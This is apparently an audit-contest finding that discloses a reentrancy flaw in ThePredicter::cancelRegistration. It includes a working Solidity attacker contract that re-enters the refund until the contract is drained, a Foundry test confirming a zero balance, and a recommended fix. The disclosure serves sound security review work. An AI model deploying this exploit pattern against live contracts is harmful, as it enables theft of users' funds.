Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack via `ThePredicter::cancelRegistration` allows draining contract balance

Summary

After a user has registered usingThePredicter::registerwith an entranceFee, they can call ThePredicter::cancelRegistrationto get back their entranceFee again. The ThePredicter::cancelRegistrationfunction is vulnerable to reentrancy attacks.

Vulnerability Details

Place the following contract code in the contracts folder:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {ThePredicter} from "./ThePredicter.sol";
contract EvilContract {
ThePredicter thePredicter;
constructor(address predicterAddr) {
thePredicter = ThePredicter(predicterAddr);
}
function register() public payable {
thePredicter.register{value: msg.value}();
}
function attack() public {
thePredicter.cancelRegistration();
}
receive() external payable {
if (msg.value <= address(thePredicter).balance) {
thePredicter.cancelRegistration();
}
}
}

Then add this test into the test suite ThePredicter.test.sol:

function test_reentrancyCancelRegistration() public {
uint256 numUsers = 20;
// Register 20 users, so the contract gets some initial balance
for (uint256 i=0; i<numUsers; i++) {
address usr = address(uint160(100 + i));
vm.startPrank(usr);
vm.deal(usr, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
}
// Register the attack contract as a player
EvilContract evilContract = new EvilContract(address(thePredicter));
vm.deal(address(evilContract), 1 ether);
evilContract.register{value: 0.04 ether}();
// Balance should be equal to entranceFee of 21 users now
assertEq(address(thePredicter).balance, 0.04 ether * numUsers + 0.04 ether);
evilContract.attack();
// Contract balance is empty
assertEq(address(thePredicter).balance, 0);
}

Impact

Critical

Tools Used

Foundry. The test suite of the project.

Recommendations

Checks-effects-interactions (CEI) pattern or a non-reentrancy guard by for example OpenZeppelin.

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.